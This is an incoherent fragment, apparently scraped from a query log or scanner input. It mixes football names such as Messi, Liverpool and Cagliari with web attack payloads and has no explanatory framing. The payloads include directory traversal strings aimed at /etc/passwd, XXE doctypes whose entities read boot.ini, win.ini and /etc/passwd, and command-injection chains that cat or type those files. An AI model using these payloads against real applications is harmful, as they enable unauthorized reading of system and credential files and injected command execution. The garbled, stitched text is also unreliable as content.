cesvi messi milan liverpool messi's cagliari type %systemroot%\win.ini /..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd type %systemroot%\win.ini /..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd.html c:\boot.ini.html %systemroot%\win.ini.html <?xml version=1.0 encoding=iso-8859-1?><!doctype xxe_test [ <!entity xxe_test system %systemdrive%\boot.ini> ]><q>&xxe_test;</q> ronaldo <?xml version=1.0 encoding=iso-8859-1?><!doctype xxe_test [<!element foo any><!entity xxe_test system %windir%\win.ini>]><foo>&xxe_test;</foo> /etc/passwd &&type %systemroot%\win.ini &&/bin/cat /etc/passwd file:///c:/win.ini <?xml version=1.0 encoding=iso-8859-1?><!doctype xxe_test [ <!entity xxe_test system /etc/passwd> ]><q>&xxe_test;</q>